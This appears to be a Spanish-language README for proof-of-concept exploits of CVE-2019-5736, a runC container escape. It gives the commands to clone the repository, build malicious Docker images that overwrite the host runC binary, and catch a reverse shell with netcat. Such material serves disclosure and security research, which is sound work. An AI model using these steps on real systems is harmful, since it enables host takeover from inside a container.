
Pruebas de concepto para CVE-2019-5736, una vulnerabilidad de escape de contenedores en runC, que demuestran la ruptura del contenedor mediante imágenes maliciosas y comandos exec.
Video: https://bit.ly/2WqvILb
Entrada del blog: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Aquí, me gustaría mencionar que el desarrollador original de este exploit es Yuval Avrahami de Twistlock Labs.
Ten en cuenta que ejecutar los POCs sobrescribirá el binario runC en el host.
Se recomienda encarecidamente crear una copia de tu binario runC (normalmente en /usr/sbin/runc) antes de ejecutar uno de los POCs.
Clona el repositorio:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Sobrescribe runc con un programa simple que imprime una cadena.
Ejecutando el POC exec:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Sobrescribe runc con un script bash de shell inverso simple que se conecta a localhost:2345.
Escucha el shell inverso:
$ nc -nvlp 2345
Desde otro shell, ejecuta el POC de imagen maliciosa:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
Consulta [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explicando CVE-2019-5736") para una explicación de CVE-2019-5736 y los POCs.
El POC de imagen maliciosa se basa en gran medida en el [POC de q3k](https://github.com/q3k/cve-2019-5736-poc), por lo que todo el crédito es para él.